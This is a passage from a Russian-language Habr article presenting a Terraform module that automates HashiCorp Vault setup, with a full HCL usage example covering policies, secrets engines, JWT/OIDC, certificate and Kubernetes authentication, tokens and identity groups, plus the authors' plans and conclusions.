+ Остальные переменные можно посмотреть в README. Описание переменных соответствует описанию в [документации](https://registry.terraform.io/providers/hashicorp/vault/3.2.1/docs/resources/jwt_auth_backend_role).
> Если бэкенд авторизации не был создан при первом запуске из-за каких-то ошибок, его необходимо удалить вручную и создать заново. Проблема описана на [форуме](https://discuss.hashicorp.com/t/terraform-provider-for-vault-is-behaving-like-its-not-idempotent/13945).
>
>
* **identity\_groups**: список идентификационных групп.
+ **group\_id**: имя группы.
+ **type**(опционально): тип группы, "internal" или "external". По умолчанию: "internal".
+ **policies**(опционально): список политик, которые применяются к группе.
+ **mount\_type**: тип бэкенда авторизации.
+ **mount\_path**: путь до бэкенда.
+ **metadata**(опционально): словарь дополнительных метаданных для группы.
#### Пример использования модуля
Рассмотрим конкретный пример по использованию модуля:
```
module "vault-init" {
source = "../vault-init"
output_files_path = "./files"
vault_addr = "https://127.0.0.1:8200"
vault_admin_token = "token"
vault_skip_tls_verify = true
policies = [
{
name = "policy-1"
paths = ["kv-1", "kv-1/*"]
capabilities = ["create", "read", "update", "list"]
},
{
name = "policy-2"
paths = ["kv-2", "kv-2/*"]
capabilities = ["read", "list"]
}
]
secrets_engines = [
{
path = "kv-1"
type = "kv"
options = {
version = "2"
}
},
{
path = "kv-2"
type = "kv-v2"
}
]
auth_backends = [
{
type = "cert"
path = "cert"
}
]
jwt_oidc_auth_backend = [
{
path = "gitlab_jwt"
type = "jwt"
jwks_url = "https://gitlab.example.com/-/jwks/"
bound_issuer = "gitlab.example.com"
},
{
path = "oidc"
type = "oidc"
oidc_discovery_url = "https://login.microsoftonline.com/12324436534/v2.0"
oidc_client_id = "123"
oidc_client_secret = "secret"
default_role = "azure_users"
},
{
type = "jwt"
path = "jwt-pubkeys"
jwt_validation_pubkeys = ["jwt-keys-1", "jwt-keys-2"]
tune = {
default_lease_ttl = "10m"
max_lease_ttl = "10m"
}
}
]
certs_auth_backend = [
{
name = "cert1"
policies = ["policy-1"]
path = "cert"
tls_self_signed_cert = {
common_name = "Cert1"
organization = "Organization1"
allowed_uses = ["key_encipherment", "digital_signature", "server_auth", "client_auth", "cert_signing"]
convert_to_pkcs12 = true
}
}
]
kubernetes_auth_backends = [
{
path = "kubernetes"
kubernetes_host = "https://example.com"
kubernetes_ca_cert = "-----BEGIN CERTIFICATE-----\nexample\n-----END CERTIFICATE-----"
token_reviewer_jwt = "ZXhhbXBsZQo="
issuer = "kubernetes.io/serviceaccount"
roles = [
{
role_name = "role1"
bound_service_account_names = ["deployer"]
bound_service_account_namespaces = ["*"]
token_policies = ["policy-1"]
},
{
role_name = "role2"
bound_service_account_names = ["*"]
bound_service_account_namespaces = ["test"]
token_policies = ["policy-2"]
}
]
tune = {
max_lease_ttl = "90000s"
}
}
]
vault_tokens = [
{
policies = ["policy-1"]
display_name = "token-1"
role_name = "role-1"
}
]
vault_token_roles = [
{
role_name = "role-1"
allowed_policies = ["policy-1"]
}
]
jwt_oidc_roles = [
{
name = "jwt-1"
path = "gitlab_jwt"
type = "jwt"
token_policies = ["policy-1"]
user_claim = "user_email"
bound_claims = { "project_id" : "111" }
},
]
identity_groups = [
{
group_id = "23454355467"
type = "external"
policies = ["policy-1"]
metadata = {
responsibility = "kv-1"
}
mount_type = "oidc"
mount_path = "oidc"
}
]
}
```
Этот пример можно найти в GitHub-[репозитории](https://github.com/nixys/vault-app-init/tree/main/example). В примере создаются 2 policy, например, policy-1 выглядит следующим образом:
```
path "kv-1" {
capabilities = ["create", "read", "update", "list"]
}
path "kv-1/*" {
capabilities = ["create", "read", "update", "list"]
}
```
Также создаются 2 хранилища секретов, например, kv-1:
Дополнительно включаются необходимые бэкенды авторизации:
И наконец генерируется токен и роль для него, затем создаются jwt роли и идентификационные группы. Обратите внимание, что необходимо прописать правильные переменные, в противном случае некоторые ресурсы не будут созданы.
#### Что планируется дальше
В будущем планируется добавить следующий функционал:
* Возможность выбирать output для сгенерированных файлов.
* Добавить модуль в [terraform registry](https://registry.terraform.io/), чтобы было удобнее его использовать.
* Доработка модуля в зависимости от новых требований.
#### Выводы
До написания модуля нам приходилось вручную настраивать (создавать политики, хранилища секретов и т.д.) Vault. Модуль же помог автоматизировать данный процесс и повысить нашу эффективность. Как правило, для разных приложений настройки похожи, отличия только в названиях. Поэтому при помощи модуля можно унифицировать процесс настройки, то есть повторно использовать заранее созданные файлы с заполненными переменными, заменив некоторые.
P.S.: На данный момент модуль не прошел обкатку на большом количестве проектов, поэтому возможны какие-то баги. Если у вас возникнет какой-то баг, пожалуйста, создайте issue на GitHub, мы постараемся оперативно обработать его.
Еще больше информации о мире DevOps [в нашем телеграм-канале DevOps FM](https://t.me/devops_fm). | https://habr.com/ru/post/660455/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.